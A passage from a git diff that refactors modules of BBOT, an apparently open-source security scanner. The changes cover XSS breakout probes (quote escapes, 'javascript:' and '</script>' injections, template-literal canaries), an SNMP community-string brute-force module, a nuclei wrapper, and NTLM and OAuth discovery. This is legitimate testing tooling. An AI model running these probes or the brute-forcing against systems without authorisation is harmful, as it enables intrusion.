+            f"determine_context returned: between_tags [{between_tags}], attribute_quote [{attribute_quote}], "
+            f"in_javascript [{in_javascript}], in_html_comment [{in_html_comment}], in_js_backtick [{in_js_backtick}]"
         )
         tags = [
             "z",
@@ -141,24 +281,33 @@ async def fuzz(self):
                 if result is True:
                     break
 
-        if in_tag_attribute:
-            in_tag_attribute_probe = f'{random_string}"z'
-            in_tag_attribute_match = f'{random_string}"z'
+        if attribute_quote:
+            q = attribute_quote
+            # After reflection in the HTTP response, did the wrapping quote survive without url-encoding or other sanitization/escaping?
+            in_tag_attribute_probe = f"{random_string}{q}z"
+            in_tag_attribute_match = f"{random_string}{q}z"
             await self.check_probe(
-                cookies, in_tag_attribute_probe, in_tag_attribute_match, "Tag Attribute"
-            )  # After reflection in the HTTP response, did the quote survive without url-encoding or other sanitization/escaping?
+                cookies, in_tag_attribute_probe, in_tag_attribute_match, f"Tag Attribute ({q} quoted)"
+            )
 
-            in_tag_attribute_probe = f'{random_string}"z'
-            in_tag_attribute_match = f'"{random_string}""z'
+            # Account for apps that auto-wrap the reflected value in its own
+            # quote pair (e.g. framework helpers that re-quote), producing
+            # `{q}{value}{q}{q}z` after our breakout.
+            in_tag_attribute_probe = f"{random_string}{q}z"
+            in_tag_attribute_match = f"{q}{random_string}{q}{q}z"
             await self.check_probe(
-                cookies, in_tag_attribute_probe, in_tag_attribute_match, "Tag Attribute (autoquote)"
-            )  # After reflection in the HTTP response, did the quote survive without url-encoding or other sanitization/escaping (and account for auto-quoting)
+                cookies, in_tag_attribute_probe, in_tag_attribute_match, f"Tag Attribute autoquote ({q} quoted)"
+            )
 
+            # URL-scheme injection: did `javascript:` survive into any
+            # URL-bearing attribute? The match key is just `{q}javascript:{random}`
+            # (no attribute name) so it triggers on href, src, action,
+            # formaction, data, poster, etc.
             in_tag_attribute_probe = f"javascript:{random_string}"
-            in_tag_attribute_match = f'action="javascript:{random_string}'
+            in_tag_attribute_match = f"{q}javascript:{random_string}"
             await self.check_probe(
-                cookies, in_tag_attribute_probe, in_tag_attribute_match, "Form Action Injection"
-            )  # After reflection in the HTTP response, did the javascript sch
+                cookies, in_tag_attribute_probe, in_tag_attribute_match, f"URL-scheme Injection ({q} quoted)"
+            )
 
         if in_javascript:
             in_javascript_probe = rf"</script><script>{random_string}</script>"
@@ -171,21 +320,38 @@ async def fuzz(self):
                     random_string, reflection_probe_result.text
                 )
 
-                # Skip the test if the context is outside
-                if quote_context == "outside":
-                    return
-
-                # Update probes based on the quote context
-                if quote_context == "single":
-                    in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\"
-                    in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\"
-                elif quote_context == "double":
-                    in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\"
-                    in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\'
-
-                await self.check_probe(
-                    cookies,
-                    in_javascript_escape_probe,
-                    in_javascript_escape_match,
-                    f"In Javascript (escaping the escape character, {quote_context} quote)",
-                )
+                # Only run the escape-the-escape probe for quoted-string
+                # contexts. Backtick-wrapped (template-literal) context is
+                # handled separately below.
+                if quote_context in ("single", "double"):
+                    if quote_context == "single":
+                        in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\"
+                        in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\"
+                    else:
+                        in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\"
+                        in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\'
+
+                    await self.check_probe(
+                        cookies,
+                        in_javascript_escape_probe,
+                        in_javascript_escape_match,
+                        f"In Javascript (escaping the escape character, {quote_context} quote)",
+                    )
+
+        if in_html_comment:
+            # Breakout probe: if `-->` survives reflection inside an HTML
+            # comment, the attacker can close the comment and inject fresh
+            # markup. Match must be inside the HTML comment's bounds — or
+            # we'd be reflecting somewhere else.
+            html_comment_probe = f"{random_string}-->z"
+            html_comment_match = f"{random_string}-->z"
+            await self.check_probe(cookies, html_comment_probe, html_comment_match, "HTML Comment")
+
+        if in_js_backtick:
+            # Template-literal probe: inside `...{injection}...` inside a
+            # script tag, `${...}` interpolation runs arbitrary JS. If
+            # `${`, the canary, and `}` all survive reflection unescaped,
+            # the injection can execute JS via template-literal interpolation.
+            backtick_probe = f"${{{random_string}}}"
+            backtick_match = f"${{{random_string}}}"
+            await self.check_probe(cookies, backtick_probe, backtick_match, "JS Template Literal")
diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py
index e8814b5c2b..2be1333f9c 100644
--- a/bbot/modules/medusa.py
+++ b/bbot/modules/medusa.py
@@ -1,11 +1,14 @@
 import re
+from typing import Union
+
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class medusa(BaseModule):
     watched_events = ["PROTOCOL"]
-    produced_events = ["VULNERABILITY"]
-    flags = ["active", "aggressive", "deadly"]
+    produced_events = ["FINDING"]
+    flags = ["active", "loud", "invasive"]
     per_host_only = True
     meta = {
         "description": "Medusa SNMP bruteforcing with v1, v2c and R/W check.",
@@ -14,21 +17,22 @@ class medusa(BaseModule):
     }
     scope_distance_modifier = None
 
-    options = {
-        "snmp_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt",
-        "snmp_versions": ["1", "2C"],  # Only 1 and 2C are available with medusa 2.3.
-        "wait_microseconds": 200,
-        "timeout_s": 5,
-        "threads": 5,
-    }
-
-    options_desc = {
-        "snmp_wordlist": "Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)",
-        "snmp_versions": "List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])",
-        "wait_microseconds": "Wait time after every SNMP request in microseconds (default 200)",
-        "timeout_s": "Wait time for the SNMP response(s) once at the end of all attempts (default 5)",
-        "threads": "Number of communities to be tested concurrently (default 5)",
-    }
+    class Config(BaseModuleConfig):
+        snmp_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt",
+            description="Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        # Only 1 and 2C are available with medusa 2.3.
+        snmp_versions: list[str] = Field(
+            ["1", "2C"], description="List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])"
+        )
+        wait_microseconds: int = Field(
+            200, description="Wait time after every SNMP request in microseconds (default 200)"
+        )
+        timeout_s: int = Field(
+            5, description="Wait time for the SNMP response(s) once at the end of all attempts (default 5)"
+        )
+        threads: int = Field(5, description="Number of communities to be tested concurrently (default 5)")
 
     deps_ansible = [
         {
@@ -140,8 +144,18 @@ async def handle_event(self, event):
                     self.info(f"Medusa stderr: {result.stderr}")
 
                 async for message in self.parse_output(result.stdout, snmp_version):
-                    vuln_event = self.create_vuln_event("CRITICAL", message, event)
-                    await self.emit_event(vuln_event)
+                    await self.emit_event(
+                        {
+                            "name": f"Valid SNMPV{snmp_version} Credentials Found!",
+                            "severity": "CRITICAL",
+                            "confidence": "CONFIRMED",
+                            "host": str(event.host),
+                            "port": str(event.port),
+                            "description": message,
+                        },
+                        "FINDING",
+                        parent=event,
+                    )
 
         # else: Medusa supports various protocols which could in theory be implemented later on.
 
@@ -215,18 +229,3 @@ async def construct_command(self, host, port, protocol, protocol_version):
         ]
 
         return cmd
-
-    def create_vuln_event(self, severity, description, source_event):
-        host = str(source_event.host)
-        port = str(source_event.port)
-
-        return self.make_event(
-            {
-                "severity": severity,
-                "host": host,
-                "port": port,
-                "description": description,
-            },
-            "VULNERABILITY",
-            source_event,
-        )
diff --git a/bbot/modules/myssl.py b/bbot/modules/myssl.py
index 1a04364bcf..82aabc6b99 100644
--- a/bbot/modules/myssl.py
+++ b/bbot/modules/myssl.py
@@ -2,7 +2,7 @@
 
 
 class myssl(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py
index 114f7d66fd..988bac001c 100644
--- a/bbot/modules/newsletters.py
+++ b/bbot/modules/newsletters.py
@@ -18,7 +18,7 @@
 class newsletters(BaseModule):
     watched_events = ["HTTP_RESPONSE"]
     produced_events = ["FINDING"]
-    flags = ["active", "safe"]
+    flags = ["safe", "active"]
     meta = {
         "description": "Searches for Newsletter Submission Entry Fields on Websites",
         "created_date": "2024-02-02",
@@ -38,12 +38,12 @@ def find_type(self, soup):
     async def handle_event(self, event):
         _event = event
 
-        # Call find_type Function if Webpage return Status Code 200 && "body" is found in event.data
-        # Ex: 'bbot -m httpx newsletters -t https://apf-api.eng.vn.cloud.tesla.com' returns
-        #     Status Code 200 but does NOT have event.data["body"]
+        # Call find_type Function if Webpage return Status Code 200 && body is non-empty
+        # Ex: 'bbot -m blasthttp newsletters -t https://apf-api.eng.vn.cloud.tesla.com' returns
+        #     Status Code 200 but does NOT have a response body
         if _event.data["status_code"] == 200:
-            if "body" in _event.data:
-                body = _event.data["body"]
+            body = _event.body
+            if body:
                 soup = self.helpers.beautifulsoup(body, "html.parser")
                 if soup is False:
                     self.debug("BeautifulSoup returned False")
@@ -51,7 +51,14 @@ async def handle_event(self, event):
                 result = self.find_type(soup)
                 if result:
                     description = "Found a Newsletter Submission Form that could be used for email bombing attacks"
-                    data = {"host": str(_event.host), "description": description, "url": _event.data["url"]}
+                    data = {
+                        "host": str(_event.host),
+                        "description": description,
+                        "url": _event.url,
+                        "name": "Newsletter Submission Form",
+                        "severity": "INFO",
+                        "confidence": "LOW",
+                    }
                     await self.emit_event(
                         data,
                         "FINDING",
diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py
index 67268616de..f42c28e7af 100644
--- a/bbot/modules/ntlm.py
+++ b/bbot/modules/ntlm.py
@@ -1,5 +1,6 @@
 from bbot.errors import NTLMError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 ntlm_discovery_endpoints = [
     "",
@@ -68,14 +69,15 @@ class ntlm(BaseModule):
 
     watched_events = ["URL", "HTTP_RESPONSE"]
     produced_events = ["FINDING", "DNS_NAME"]
-    flags = ["active", "safe", "web-basic"]
+    flags = ["safe", "active", "web"]
     meta = {
         "description": "Watch for HTTP endpoints that support NTLM authentication",
         "created_date": "2022-07-25",
         "author": "@liquidsec",
     }
-    options = {"try_all": False}
-    options_desc = {"try_all": "Try every NTLM endpoint"}
+
+    class Config(BaseModuleConfig):
+        try_all: bool = Field(False, description="Try every NTLM endpoint")
 
     in_scope_only = True
 
@@ -86,10 +88,7 @@ async def setup(self):
 
     async def handle_event(self, event):
         found_hash = hash(f"{event.host}:{event.port}")
-        if event.type == "URL":
-            url = event.data
-        else:
-            url = event.data["url"]
+        url = event.url
         if found_hash in self.found:
             return
 
@@ -99,10 +98,9 @@ async def handle_event(self, event):
                 urls.add(f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/{endpoint}")
 
         num_urls = len(urls)
-        agen = self.helpers.request_batch(
+        async for url, response in self.helpers.request_batch_stream(
             urls, headers=NTLM_test_header, allow_redirects=False, timeout=self.http_timeout
-        )
-        async for url, response in agen:
+        ):
             ntlm_resp = response.headers.get("WWW-Authenticate", "")
             if not ntlm_resp:
                 continue
@@ -112,7 +110,6 @@ async def handle_event(self, event):
                 if not ntlm_resp_decoded:
                     continue
 
-                await agen.aclose()
                 self.found.add(found_hash)
                 fqdn = ntlm_resp_decoded.get("FQDN", "")
                 await self.emit_event(
@@ -120,6 +117,9 @@ async def handle_event(self, event):
                         "host": str(event.host),
                         "url": url,
                         "description": f"NTLM AUTH: {ntlm_resp_decoded}",
+                        "name": "NTLM Authentication",
+                        "severity": "INFO",
+                        "confidence": "HIGH",
                     },
                     "FINDING",
                     parent=event,
diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py
index 1acfa3c683..1288f988d6 100644
--- a/bbot/modules/nuclei.py
+++ b/bbot/modules/nuclei.py
@@ -1,51 +1,50 @@
+import asyncio
 import json
+import os
+import shutil
 import yaml
+from typing import Literal
 from itertools import islice
+
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class nuclei(BaseModule):
     watched_events = ["URL"]
-    produced_events = ["FINDING", "VULNERABILITY", "TECHNOLOGY"]
-    flags = ["active", "aggressive", "deadly"]
+    produced_events = ["FINDING", "TECHNOLOGY"]
+    flags = ["active", "loud", "invasive"]
     meta = {
         "description": "Fast and customisable vulnerability scanner",
         "created_date": "2022-03-12",
         "author": "@TheTechromancer",
     }
 
-    options = {
-        "version": "3.7.1",
-        "tags": "",
-        "templates": "",
-        "severity": "",
-        "ratelimit": 150,
-        "concurrency": 25,
-        "mode": "manual",
-        "etags": "",
-        "budget": 1,
-        "silent": False,
-        "directory_only": True,
-        "retries": 0,
-        "batch_size": 200,
-        "module_timeout": 21600,  # 6 hours
-    }
-    options_desc = {
-        "version": "nuclei version",
-        "tags": "execute a subset of templates that contain the provided tags",
-        "templates": "template or template directory paths to include in the scan",
-        "severity": "Filter based on severity field available in the template.",
-        "ratelimit": "maximum number of requests to send per second (default 150)",
-        "concurrency": "maximum number of templates to be executed in parallel (default 25)",
-        "mode": "manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests",
-        "etags": "tags to exclude from the scan",
-        "budget": "Used in budget mode to set the number of allowed requests per host",
-        "silent": "Don't display nuclei's banner or status messages",
-        "directory_only": "Filter out 'file' URL event (default True)",
-        "retries": "number of times to retry a failed request (default 0)",
-        "batch_size": "Number of targets to send to Nuclei per batch (default 200)",
-        "module_timeout": "Max time in seconds to spend handling each batch of events",
-    }
+    class Config(BaseModuleConfig):
+        version: str = Field("3.9.0", description="nuclei version")
+        tags: str = Field("", description="execute a subset of templates that contain the provided tags")
+        templates: str = Field("", description="template or template directory paths to include in the scan")
+        severity: str = Field("", description="Filter based on severity field available in the template.")
+        ratelimit: int = Field(150, description="maximum number of requests to send per second (default 150)")
+        concurrency: int = Field(25, description="maximum number of templates to be executed in parallel (default 25)")
+        mode: Literal["manual", "technology", "severe", "budget"] = Field(
+            "manual",
+            description=(
+                "manual | technology | severe | budget. "
+                "Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). "
+                "Manual (DEFAULT): Fully manual settings. "
+                "Severe: Only critical and high severity templates without intrusive. "
+                "Budget: Limit Nuclei to a specified number of HTTP requests"
+            ),
+        )
+        etags: str = Field("", description="tags to exclude from the scan")
+        budget: int = Field(1, description="Used in budget mode to set the number of allowed requests per host")
+        silent: bool = Field(False, description="Don't display nuclei's banner or status messages")
+        directory_only: bool = Field(True, description="Filter out 'file' URL event (default True)")
+        retries: int = Field(0, description="number of times to retry a failed request (default 0)")
+        batch_size: int = Field(200, description="Number of targets to send to Nuclei per batch (default 200)")
+        module_timeout: int = Field(21600, description="Max time in seconds to spend handling each batch of events")
+
     deps_ansible = [
         {
             "name": "Download nuclei",
@@ -62,27 +61,33 @@ class nuclei(BaseModule):
     _batch_size = 200
 
     async def setup(self):
-        # attempt to update nuclei templates
-        self.nuclei_templates_dir = self.helpers.tools_dir / "nuclei-templates"
-        self.info("Updating Nuclei templates")
-        update_results = await self.run_process(
-            ["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"]
-        )
-        if update_results.stderr:
-            if "Successfully downloaded nuclei-templates" in update_results.stderr:
-                self.success("Successfully updated nuclei templates")
-            elif "No new updates found for nuclei templates" in update_results.stderr:
-                self.info("Nuclei templates already up-to-date")
-            else:
-                self.warning(f"Failure while updating nuclei templates: {update_results.stderr}")
-        else:
-            self.warning("Error running nuclei template update command")
+        # All nuclei state lives under one bbot-owned dir so we can wipe it on
+        # corruption without touching the user's own ~/.config/nuclei. See
+        # _nuclei_env() for how the subprocess env pins config/cache here.
+        self.nuclei_state_dir = self.helpers.tools_dir / "nuclei-state"
+        self.nuclei_config_dir = self.nuclei_state_dir / "config"
+        self.nuclei_cache_dir = self.nuclei_state_dir / "cache"
+        self.nuclei_templates_dir = self.nuclei_state_dir / "templates"
+        self.nuclei_config_dir.mkdir(parents=True, exist_ok=True)
+        self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True)
+        await self._update_templates()
+        # nuclei writes its version marker before the tarball finishes extracting,
+        # so a killed update can leave the marker pointing at an empty dir and
+        # every subsequent run reports "up-to-date." Verify and repair once.
+        if not self._templates_installed():
+            self.warning("Nuclei templates appear incomplete; wiping isolated state and re-downloading")
+            shutil.rmtree(self.nuclei_state_dir, ignore_errors=True)
+            self.nuclei_config_dir.mkdir(parents=True, exist_ok=True)
+            self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True)
+            await self._update_templates()
+            if not self._templates_installed():
+                return False, "Failed to install nuclei templates after retry"
         self.proxy = self.scan.web_config.get("http_proxy", "")
-        self.mode = self.config.get("mode", "severe").lower()
-        self.ratelimit = int(self.config.get("ratelimit", 150))
-        self.concurrency = int(self.config.get("concurrency", 25))
-        self.budget = int(self.config.get("budget", 1))
-        self.silent = self.config.get("silent", False)
+        self.mode = self.config.get("mode")
+        self.ratelimit = self.config.get("ratelimit")
+        self.concurrency = self.config.get("concurrency")
+        self.budget = self.config.get("budget")
+        self.silent = self.config.get("silent")
         self.templates = self.config.get("templates")
         if self.templates:
             self.info(f"Using custom template(s) at: [{self.templates}]")
@@ -97,17 +102,17 @@ async def setup(self):
             self.info(f"Limiting nuclei templates to the following severities: [{self.severity}]")
         self.iserver = self.scan.config.get("interactsh_server", None)
         self.itoken = self.scan.config.get("interactsh_token", None)
-        self.retries = int(self.config.get("retries", 0))
-
-        if self.mode not in ("technology", "severe", "manual", "budget"):
-            self.warning(f"Unable to initialize nuclei: invalid mode selected: [{self.mode}]")
-            return False
+        self.retries = self.config.get("retries")
 
         if self.mode == "technology":
             self.info(
                 "Running nuclei in TECHNOLOGY mode. Scans will only be performed with the --automatic-scan flag set. This limits the templates used to those that match wappalyzer signatures"
             )
-            self.tags = ""
+            # Don't clear user-specified tags — they act as additional filters
+            # alongside -as, narrowing the auto-selected template set.
+            # Only clear tags if the user didn't explicitly set them.
+            if not self.tags:
+                self.tags = ""
 
         if self.mode == "severe":
             self.info(
@@ -143,8 +148,8 @@ async def setup(self):
     async def handle_batch(self, *events):
         temp_target = self.helpers.make_target()
         for e in events:
-            temp_target.add(e.data, e)
-        nuclei_input = [str(e.data) for e in events]
+            temp_target.add(e.url, e)
+        nuclei_input = [e.url for e in events]
         async for severity, template, tags, host, url, name, extracted_results in self.execute_nuclei(nuclei_input):
             # this is necessary because sometimes nuclei is inconsistent about the data returned in the host field
             cleaned_host = temp_target.get(host)
@@ -154,7 +159,7 @@ async def handle_batch(self, *events):
                 continue
 
             if url == "":
-                url = str(parent_event.data)
+                url = parent_event.url
 
             if severity == "INFO" and "tech" in tags:
                 await self.emit_event(
@@ -175,6 +180,9 @@ async def handle_batch(self, *events):
                         "host": str(parent_event.host),
                         "url": url,
                         "description": description_string,
+                        "name": f"Nuclei Vuln - {name}",
+                        "severity": "INFO",
+                        "confidence": "HIGH",
                     },
                     "FINDING",
                     parent_event,
@@ -187,8 +195,10 @@ async def handle_batch(self, *events):
                         "host": str(parent_event.host),
                         "url": url,
                         "description": description_string,
+                        "name": f"Nuclei Vuln - {name}",
+                        "confidence": "HIGH",
                     },
-                    "VULNERABILITY",
+                    "FINDING",
                     parent_event,
                     context=f"{{module}} scanned {url} and identified {severity.lower()} {{event.type}}: {description_string}",
                 )
@@ -199,7 +209,7 @@ def correlate_event(self, events, host):
                 return event
         self.verbose(f"Failed to correlate nuclei result for {host}. Possible parent events:")
         for event in events:
-            self.verbose(f" - {event.data}")
+            self.verbose(f" - {event.url}")
 
     async def execute_nuclei(self, nuclei_input):
         command = [
@@ -248,7 +258,9 @@ async def execute_nuclei(self, nuclei_input):
         stats_file = self.helpers.tempfile_tail(callback=self.log_nuclei_status)
         try:
             with open(stats_file, "w") as stats_fh:
-                async for line in self.run_process_live(command, input=nuclei_input, stderr=stats_fh):
+                async for line in self.run_process_live(
+                    command, input=nuclei_input, stderr=stats_fh, env=self._nuclei_env()
+                ):
                     try:
                         j = json.loads(line)
                     except json.decoder.JSONDecodeError:
@@ -308,12 +320,76 @@ async def cleanup(self):
         resume_file = self.helpers.current_dir / "resume.cfg"
         resume_file.unlink(missing_ok=True)
 
+    def _nuclei_env(self):
+        # Allowlist env vars: nuclei reads PDCP_API_KEY, GITHUB_TOKEN, AWS_*,
+        # AZURE_*, etc. directly, so os.environ.copy() would silently change
+        # its behavior (e.g. upload findings to ProjectDiscovery Cloud under
+        # the user's account). XDG_{CONFIG,CACHE}_HOME pin nuclei's config and
+        # cache under nuclei-state/ without inheriting the user's HOME.
+        keep = {
+            "PATH",
+            "LD_LIBRARY_PATH",
+            "LANG",
+            "LC_ALL",
+            "TZ",
+            "HTTP_PROXY",
+            "HTTPS_PROXY",
+            "NO_PROXY",
+            "http_proxy",
+            "https_proxy",
+            "no_proxy",
+        }
+        env = {k: v for k, v in os.environ.items() if k in keep}
+        env["XDG_CONFIG_HOME"] = str(self.nuclei_config_dir)
+        env["XDG_CACHE_HOME"] = str(self.nuclei_cache_dir)
+        return env
+
+    async def _update_templates(self):
+        self.info("Updating Nuclei templates")
+        # shield so an outer cancel can't kill the subprocess mid-extract and
+        # corrupt the templates dir
+        update_results = await asyncio.shield(
+            self.run_process(
+                ["nuclei", "-update-template-dir", self.nuclei_templates_dir, "-update-templates"],
+                env=self._nuclei_env(),
+            )
+        )
+        outcome = self._classify_update_stderr(update_results.stderr)
+        if outcome == "updated":
+            self.success("Successfully updated nuclei templates")
+        elif outcome == "up-to-date":
+            self.info("Nuclei templates already up-to-date")
+        else:
+            self.warning(f"Failure while updating nuclei templates: {update_results.stderr or '<no stderr>'}")
+
+    # nuclei's success messaging has drifted across releases (installed / updated /
+    # downloaded). Match any of them so a future rename doesn't silently downgrade
+    # a clean install to a "Failure while updating" warning.
+    _UPDATE_SUCCESS_MARKERS = (
+        "Successfully installed nuclei-templates",
+        "Successfully updated nuclei-templates",
+        "Successfully downloaded nuclei-templates",
+    )
+    _UPDATE_NOOP_MARKER = "No new updates found for nuclei templates"
+
+    @classmethod
+    def _classify_update_stderr(cls, stderr):
+        if not stderr:
+            return "failure"
+        if any(m in stderr for m in cls._UPDATE_SUCCESS_MARKERS):
+            return "updated"
+        if cls._UPDATE_NOOP_MARKER in stderr:
+            return "up-to-date"
+        return "failure"
+
+    def _templates_installed(self):
+        http_dir = self.nuclei_templates_dir / "http"
+        return http_dir.is_dir() and any(http_dir.iterdir())
+
     async def filter_event(self, event):
         if self.config.get("directory_only", True):
             if "endpoint" in event.tags:
-                self.debug(
-                    f"rejecting URL [{str(event.data)}] because directory_only is true and event has endpoint tag"
-                )
+                self.debug(f"rejecting URL [{event.url}] because directory_only is true and event has endpoint tag")
                 return False
         return True
 
diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py
index 58c0507c09..4033d84e77 100644
--- a/bbot/modules/oauth.py
+++ b/bbot/modules/oauth.py
@@ -1,19 +1,21 @@
 from bbot.core.helpers.regexes import url_regexes
 
 from .base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class OAUTH(BaseModule):
     watched_events = ["DNS_NAME", "URL_UNVERIFIED"]
     produced_events = ["DNS_NAME"]
-    flags = ["affiliates", "subdomain-enum", "cloud-enum", "web-basic", "active", "safe"]
+    flags = ["safe", "affiliates", "subdomain-enum", "cloud-enum", "web", "active"]
     meta = {
         "description": "Enumerate OAUTH and OpenID Connect services",
         "created_date": "2023-07-12",
         "author": "@TheTechromancer",
     }
-    options = {"try_all": False}
-    options_desc = {"try_all": "Check for OAUTH/IODC on every subdomain and URL."}
+
+    class Config(BaseModuleConfig):
+        try_all: bool = Field(False, description="Check for OAUTH/IODC on every subdomain and URL.")
 
     in_scope_only = False
     scope_distance_modifier = 1
@@ -26,15 +28,29 @@ async def setup(self):
         return True
 
     async def filter_event(self, event):
-        if event.module == self or any(t in event.tags for t in ("target", "domain", "ms-auth-url")):
+        if event.module == self or any(t in event.tags for t in ("seed", "domain", "ms-auth-url")):
             return True
         elif self.try_all and event.scope_distance == 0:
             return True
         return False
 
+    def _get_source_domain(self, event):
+        """Walk the parent chain to find the nearest in-scope domain."""
+        seen = set()
+        current = event
+        while current is not None and id(current) not in seen:
+            seen.add(id(current))
+            if current.host:
+                _, domain = self.helpers.split_domain(str(current.host))
+                if self.scan.in_scope(domain):
+                    return domain
+            current = current.parent
+        _, domain = self.helpers.split_domain(str(event.host))
+        return domain
+
     async def handle_event(self, event):
-        _, domain = self.helpers.split_domain(event.data)
-        source_domain = getattr(event, "source_domain", domain)
+        _, domain = self.helpers.split_domain(str(event.host))
+        source_domain = self._get_source_domain(event)
         if not self.scan.in_scope(source_domain):
             return
 
@@ -46,7 +62,7 @@ async def handle_event(self, event):
                 oidc_tasks.append(self.helpers.create_task(self.getoidc(f"https://login.windows.net/{domain}")))
 
         if event.type == "URL_UNVERIFIED":
-            url = event.data
+            url = event.url
         else:
             url = f"https://{event.data}"
 
@@ -62,15 +78,17 @@ async def handle_event(self, event):
             if token_endpoint:
                 finding_event = self.make_event(
                     {
+                        "name": "OpenID Connect Endpoint",
                         "description": f"OpenID Connect Endpoint (domain: {source_domain}) found at {url}",
                         "host": event.host,
                         "url": url,
+                        "severity": "INFO",
+                        "confidence": "HIGH",
                     },
                     "FINDING",
                     parent=event,
                 )
                 if finding_event:
-                    finding_event.source_domain = source_domain
                     await self.emit_event(
                         finding_event,
                         context=f'{{module}} identified {{event.type}}: OpenID Connect Endpoint for "{source_domain}" at {url}',
@@ -79,20 +97,19 @@ async def handle_event(self, event):
                     token_endpoint, "URL_UNVERIFIED", parent=event, tags=["affiliate", "oauth-token-endpoint"]
                 )
                 if url_event:
-                    url_event.source_domain = source_domain
                     await self.emit_event(
                         url_event,
                         context=f'{{module}} identified OpenID Connect Endpoint for "{source_domain}" at {{event.type}}: {url}',
                     )
             for result in oidc_results:
-                if result not in (domain, event.data):
+                if result not in (domain, str(event.host)):
                     event_type = "URL_UNVERIFIED" if self.helpers.is_url(result) else "DNS_NAME"
                     await self.emit_event(
                         result,
                         event_type,
                         parent=event,
                         tags=["affiliate"],
-                        context=f'{{module}} analyzed OpenID configuration for "{source_domain}" and found {{event.type}}: {{event.data}}',
+                        context=f'{{module}} analyzed OpenID configuration for "{source_domain}" and found {{event.type}}: {{event.pretty_string}}',
                     )
 
         for oauth_task in oauth_tasks:
@@ -101,15 +118,17 @@ async def handle_event(self, event):
                 description = f"Potentially Sprayable OAUTH Endpoint (domain: {source_domain}) at {url}"
                 oauth_finding = self.make_event(
                     {
+                        "name": "Potentially Sprayable OAUTH Endpoint",
                         "description": description,
                         "host": event.host,
                         "url": url,
+                        "severity": "INFO",
+                        "confidence": "LOW",
                     },
                     "FINDING",
                     parent=event,
                 )
                 if oauth_finding:
-                    oauth_finding.source_domain = source_domain
                     await self.emit_event(
                         oauth_finding,
                         context=f"{{module}} identified {{event.type}}: {description}",
diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py
index e20ad1a655..d126f6ccc9 100644
--- a/bbot/modules/otx.py
+++ b/bbot/modules/otx.py
@@ -1,18 +1,19 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class otx(subdomain_enum_apikey):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
         "description": "Query otx.alienvault.com for subdomains",
         "created_date": "2022-08-24",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "OTX API key"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="OTX API key", sensitive=True, mandatory=True)
 
     base_url = "https://otx.alienvault.com"
 
diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py
index 49c26fa8d7..61229dbeab 100644
--- a/bbot/modules/output/asset_inventory.py
+++ b/bbot/modules/output/asset_inventory.py
@@ -4,6 +4,7 @@
 
 from .csv import CSV
 from bbot.core.helpers.misc import make_ip_type, is_ip, is_port, best_http_status
+from bbot.core.config.models import BaseModuleConfig, Field
 
 severity_map = {
     "INFO": 0,
@@ -26,7 +27,6 @@ class asset_inventory(CSV):
         "DNS_NAME",
         "URL",
         "FINDING",
-        "VULNERABILITY",
         "TECHNOLOGY",
         "IP_ADDRESS",
         "WAF",
@@ -38,13 +38,18 @@ class asset_inventory(CSV):
         "created_date": "2022-09-30",
         "author": "@liquidsec",
     }
-    options = {"output_file": "", "use_previous": False, "recheck": False, "summary_netmask": 16}
-    options_desc = {
-        "output_file": "Set a custom output file",
-        "use_previous": "Emit previous asset inventory as new events (use in conjunction with -n <old_scan_name>)",
-        "recheck": "When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan",
-        "summary_netmask": "Subnet mask to use when summarizing IP addresses at end of scan",
-    }
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Set a custom output file")
+        use_previous: bool = Field(
+            False,
